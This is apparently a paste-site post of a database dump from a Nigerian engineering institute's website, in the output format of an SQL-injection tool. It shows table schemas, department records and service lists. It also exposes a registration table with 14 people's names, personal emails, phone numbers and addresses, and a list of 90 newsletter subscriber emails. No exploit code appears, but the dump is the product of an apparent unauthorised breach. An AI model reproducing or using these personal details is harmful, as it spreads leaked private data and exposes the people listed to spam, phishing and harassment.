- Database: ng1di1go_emdiweb
- Table: email_system
- [11 columns]
- +-----------+--------------+
- | Column | Type |
- +-----------+--------------+
- | cc | varchar(120) |
- | content | mediumblob |
- | file_name | varchar(120) |
- | file_size | int(11) |
- | file_type | varchar(120) |
- | id | int(11) |
- | message | text |
- | send_to | varchar(50) |
- | sender | varchar(50) |
- | sent_date | varchar(20) |
- | subject | varchar(150) |
- +-----------+--------------+
- Database: ng1di1go_emdiweb
- Table: departmentfunctions
- [3 columns]
- +----------+--------------+
- | Column | Type |
- +----------+--------------+
- | function | varchar(120) |
- | dept_id | varchar(3) |
- | id | varchar(3) |
- +----------+--------------+
- Database: ng1di1go_emdiweb
- Table: departmentlist
- [9 entries]
- +-----+--------+-------------+---------------------------+----------------------------------+-------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+
- | id | hod_id | division_id | hod | name | s_num | description | designation |
- +-----+--------+-------------+---------------------------+----------------------------------+-------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+
- | 100 | 1 | 100 | Engr. Dr. S.O.O. Olusunle | MD's Office | 1 | The MD's Office is saddled with the responsibility of strategically and tactical managing the affairs of the Institute in fulfilling its mandate, vision and mission statement. | Ag. Director/Chief Executive Officer |
- | 101 | 2 | <blank> | Mr. S. O. Ilelaboye (FCA) | Finance and Account | 2 | The Finance takes responsibility for organizing the financial and accounting affairs including the preparation and presentation of appropriate account and the provision of financial information for Heads of Departments, the chief Executive and the Government of Nigeria. | Head, Deputy Director Finance & Account |
- | 102 | 3 | 102 | Mrs. O. A. Komolafe | Administration & Human Resources | 3 | The Human Resources Department is saddled with the responsibility of managing matters that pertain to employees of the Institute and its day-to-day operations.\r\n | Head,Deputy Director Admin. |
- | 103 | 4 | 103 | Engr. S. A. Olubayode | Technical Services | 4 | <blank> | Chief Engineer |
- | 107 | 10 | 101 | Mr. K. Ebisike | Research and Development | 8 | This department releases various developmental projects that boosts the operation and viability of the institution. | Principal Research Officer |
- | 105 | 5 | 102 | Engr. A. S. Idowu | Manufacturing | 5 | <blank> | Asst. Chief Engineer\t |
- | 108 | 8 | 101 | Engr. O.A. Opeola | Planning and Policy Analysis | 9 | The primary function of the department is to develop strategic and tactical plans aimed at realizing the vision, mission and mandate of the Institute as well as managing the Information system. | Head of Department |
- | 104 | 6 | 102 | Engr. J. Alasoluyi | Foundry | 5 | To produce metals and their corresponding alloy of right composition and foundry equipment for research and industrial purposes. | Head of Department |
- | 109 | 9 | <blank> | Dr. A.T. Oyelami | Design, Modelling and Simulation | 10 | <p>This department is equipped with top notch engineers and mathematical professionals using state-of-the-art equipment and softwares to translate ideas into models and products and show casing same in an easy to understand concepts to the end users and public. <br><br>\r\n The department is equipped with state-of-the-art 3D design software such as AutoCAD, Autodesk Inventor, Solid Works, Pro Engineer/PTC Creo, COMSOL Multiphysics, MatLab and Granta Design for the Design, Modeling, Simulation, Engineering Analysis and Materials Selection of Engineering Components.</p>\r\n<p><img src="http://emdi.gov.ng/autocard.png"/></p>\r\n<p>The department is grouped into the following units: Design and Drafting, Modeling and Simulation.</p> | Head of Department |
- +-----+--------+-------------+---------------------------+----------------------------------+-------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+
- Database: ng1di1go_emdiweb
- Table: e_library_category
- [2 entries]
- +-----+------------------+-------------+
- | id | category | description |
- +-----+------------------+-------------+
- | 100 | Online Journals | <blank> |
- | 101 | Online Libraries | <blank> |
- +-----+------------------+-------------+
- Database: ng1di1go_emdiweb
- Table: subservices
- [27 entries]
- +------------+-------------------------------------------------------------------------------------------------------------------------------------------------+
- | service_id | sub_service |
- +------------+-------------------------------------------------------------------------------------------------------------------------------------------------+
- | 100 | Microstructural Analysis |
- | 100 | X-Ray Diffractometry |
- | 100 | X-Ray Flourescopy (Chemical Analysis) |
- | 100 | Tensile /Compression Testing |
- | 100 | Optical and Electrical Characterization |
- | 100 | I-V Characterisation |
- | 100 | Particle Size Analysis |
- | 100 | Microhardness Testing |
- | 101 | Characterisation of different grades of cast iron, steel and its alloys |
- | 101 | Production of simple and intricate castings (ferrous and non ferrous) |
- | 101 | Heat treatment operations |
- | 101 | Applied research in the area of Ductile Iron, Austempered Ductile Iron (ADI) , monolithic refractory lining for furnaces and refractory bricks. |
- | 101 | Pattern Making |
- | 102 | Machine/Equipment Maintenance |
- | 102 | Plant Overhaul |
- | 102 | Design of Machine/Equipment |
- | 102 | Manufacture of Machine/Equipment |
- | 102 | Design and Manufacture of Machine/Equipment |
- | 102 | Production or Manufacture of Spares and Components. |
- | 103 | In the area of foundry education technology |
- | 103 | \tIn the area of Advanced Manufacturing Technology |
- | 104 | Engineering Audit / Technical Audit of plants |
- | 105 | 250 Seating Capacity Conference Hall (Fully Air Conditioned) |
- | 105 | Two Air Conditioned 35 Seating Capacity Seminar Rooms |
- | 105 | Stand-by Generator |
- | 105 | Standard/Modern Catering Services |
- | 105 | Computer Systems, Multimedia projectors, overhead projectors and projector screens |
- +------------+-------------------------------------------------------------------------------------------------------------------------------------------------+
- Database: ng1di1go_emdiweb
- Table: registration
- [14 entries]
- +------------+------------------------------+---------+---------+------------+---------------+------------+------------+-------------+---------------+------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------+----------------------------------------------------------+
- | MiddleName | Email | Laptop | Sponsor | LastName | FirstName | Profession | Ref_Number | PhoneNumber | Qualification | SponsorAddress | ContactAddress | InstitutionName |
- +------------+------------------------------+---------+---------+------------+---------------+------------+------------+-------------+---------------+------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------+----------------------------------------------------------+
- | EZE | iigwe@fudutsinma.edu.ng | Yes | Other | IGWE | ISAIAH | Scientist | 87290 | 08039327223 | MSc | undefined | Department of Physics, Federal University, Dutsin-Ma, P.M.B 5001, Katsina State | Federal University,Dutsin.Ma |
- | musibau | msb.oloyede@yahoo.com | Yes | Self | oloyede | olaniyi | Engineer | 07269 | 2348060231 | MSc | Nigerian Airspace Management Agency,Akure Airport,Akure. | Nigerian Airspace Management Agency,Akure Airport,Akure. | Nigerian Airspace Management Agency,Akure Airport,Akure. |
- | Barnabas | barnababas2006@yahoo.com | Yes | Self | Alolanle | Adesola | Engineer | 92920 | 07031589241 | BSc | L/H 17 Ilepa St Ikare Akoko Ondo State | L/H 17 Ilepa St Ikare Akoko Ondo State | Ministry of Works Akure Ondo State |
- | <blank> | ojadepoju@yahoo.com | No | Self | Adepoju | Ojo | Engineer | 67901 | 08066538007 | BEng | 1,Akindolire Close off Sijuwade Akure | 1, Akindolire Close off Sijuwade Akure | Ministry of Works Akure Ondo State |
- | olusegun | ajidasileolusegun@gmail.com | Yes | Other | emmanuel | ajidasile | Other | 80603 | 08161506523 | BEng | block x plot 10 oba adesida lay out off leo street | block x plot 10 oba adesida lay out off leo street | <blank> |
- | Isaac | mioostel@gmail.com | Yes | Self | John | Orah | Other | 35549 | 08059439351 | PGD | Metal work departmentFederal collegeof education (T) P.M.B. 60, Gombe. | Federal college of education (Technical) P.M.B. 60, Gombe. Gombe State. | <blank> |
- | <blank> | adesinaadebola2005@yahoo.com | Yes | Self | Adesina | Adebola | Engineer | 68200 | 23480347026 | PGD | <blank> | Department of Agricultural Engineering,Federal University of Technology, AKURE. | Federal University of Technology, AKURE. |
- | Michael | tamike_adams@yahoo.com | Yes | Other | Adamolekun | Taiwo | Engineer | 71159 | 2348062894 | MEng | Federal University ofTechnology, Akure | Alaba Layout off FUTA Rd, Akure | Mech Eng Dept, FUTA, Ondo State |
- | OLUWADARE | hholuwadamilarey@yahoo.com | Yes | Self | JULIUS | ENGR. ADELOYE | Engineer | 82971 | 08034731096 | PGD | N/A | ONDO STATE ELECTRICITY BOARD, AKURE | ONDO STATE ELECTRICITY BOARD, AKURE |
- | AKINTUNDE | tundedahunsi@gmail.com | Yes | Other | DAHUNSI | OLUROTIMI | Engineer | 96323 | 08162539990 | PHD | FEDERAL UNIVERSITY OF TECHNOLOGY, AKURE | Mechanical Engineering Department, Federal University of Technology, P. M. B. 704, Akure, Ondo State. | FEDERAL UNIVERSITY OF TECHNOLOGY, AKURE |
- | <blank> | kotemikotan@yahoo.com | Yes | Self | Temikotan | Kehinde | Engineer | 00893 | 08033517745 | PhD | <blank> | 4, Olu Ajayi Street, Akure | Deputy Governor's Office, Akure |
- | KUMAR | umesh.yadav118@gmail.com | <blank> | <blank> | YADAV | UMESH | <blank> | 37257 | 8871857756 | <blank> | <blank> | <blank> | <blank> |
- | KUMAR | umesh.yadav08@rediffmail.com | <blank> | <blank> | YADAV | UMESH | <blank> | 66613 | 8871857756 | <blank> | <blank> | <blank> | <blank> |
- | OJO | ajafolo2@gmail.com | Yes | Self | AJAGBE | FOLORUNSO | Engineer | 56808 | 08132406447 | BEng | <blank> | FUTA | <blank> |
- +------------+------------------------------+---------+---------+------------+---------------+------------+------------+-------------+---------------+------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------+----------------------------------------------------------+
- Database: ng1di1go_emdiweb
- Table: newsletter
- [90 entries]
- +--------------------------------------------+
- | email |
- +--------------------------------------------+
- | adedayoadeleye25@gmail.com |
- | adegoketola@yahoo.com |
- | adeleyeolajide@Gmail.com |
- | adenikegiwa@gmail.com |
- | aderemiadegboye@gmail.com |
- | Akinkunmialabi4u@yahoo.com |
- | alhassanojo@gmail.com |
- | andrewbanji@yahoo.com |
- | anieboanthony@yahoo.com |
- | austeneke@gmail.com |
- | ayodimejibello@yahoo.con |
- | Ayotundeola@yahoo.com |
- | aywagze@yahoo.co.uk |
- | benabikoye@yahoo.com |
- | benjammy_024@yahoo.com |
- | benuababakar1988@yahoo.com |
- | chairman@wadamts.com |
- | Chinjeuphie@yahoo.co.uk |
- | danwhiteme@yahoo.com |
- | deaconjohnsonadekunle@yahoo.com |
- | degelm24@yahoo.com |
- | dtee200033@yahoo.com |
- | ebekpa@gmail.com |
- | engradebobola@yahoo.com |
- | engrtonydellog@yahoo.com |
- | eolaboyin@yahoo.com |
- | erunkejoseph@yahoo.ca |
- | etgdxsmh@wleviebw.com |
- | fabtee.taiwo@gmail.com |
- | falopeabbey@yahoo.com |
- | fatsamayodele@yahoo.com |
- | femboy2z@yahoo.com |
- | geecee87@yahoo.com |
- | Gracedammy88@yahoo.com |
- | honeyisgood02@gmail.com |
- | ifyclassic4real@gmail.com |
- | ikeanyao@yahoo.com |
- | ikeanyaogu2@yahoo.com |
- | italisuitalisu@gmail.com |
- | jimolude@yahoo.com |
- | Johnaded4luv@yahoo.com |
- | johnfrank721@gmail.com |
- | Johnson_sunday83@yahoo.com |
- | kamaldeenolowookere@yahoo.com |
- | KELECHUKWUJANE@YAHOO.COM |
- | Kingwazobia@yahoo.com |
- | k_ola2002@yahoo.com |
- | lordohis3@gmail.com |
- | mash_Julius@yahoo.com |
- | mauryncos@yahoo.com |
- | mide0818@gmail.com |
- | mide0818@hotmail.com |
- | mioostel@gmail.com |
- | moji4olumide@yahoo.com |
- | musaseliat@gmail.com |
- | nabobolajide@gmail.com |
- | Nf96@rocketmail.com |
- | oadegbemiro@makon-group.com |
- | obaadogabson@gmail.com |
- | obasuyisamuel@ymail.com |
- | odunwolegoodluck@gmail.com |
- | ofalope@unilag.edu.ng |
- | ogundare@emdi.gov.ng |
- | Ogunleyeja@uniosun.edu.ng |
- | ojoleke4real@gmail.com |
- | okinbashir@yahoo.com |
- | oladayo_philips84@hotmail.com |
- | oladiransaheed@gmail.com |
- | oladoja.babatunde@yahoo.com |
- | olafareakinwale09@gmail.com |
- | olucaffy@gmail.com |
- | oluwasegun.wahab@gmail.com |
- | oluwaseun1985.oo@gmail.com |
- | owodorowland@gmail.com |
- | phillip.babalola@covenantuniversity.edu.ng |
- | priscylady2014@yahoo.com |
- | rhodave2011@gmail.com |
- | sam_game@ymail.com |
- | Shoggymech1984@yahoo.com |
- | solamide@ymail.com |
- | stanhop_jhc@yahoo.com |
- | talk2bash@gmail.com |
- | taofeeqgy@yahoo.com |
- | teachermiracle@yahoo.co.uk |
- | tenigbokan@ymail.com |
- | titus2tite@yahoo.com |
- | tjoguns607@yahoo.com |
- | vickzol@yahoo.com |
- | wolesijohn@yahoo.com |
- | www.olusegunlawrence90@gmail.com |
- +--------------------------------------------+
Add Comment
Please, Sign In to add comment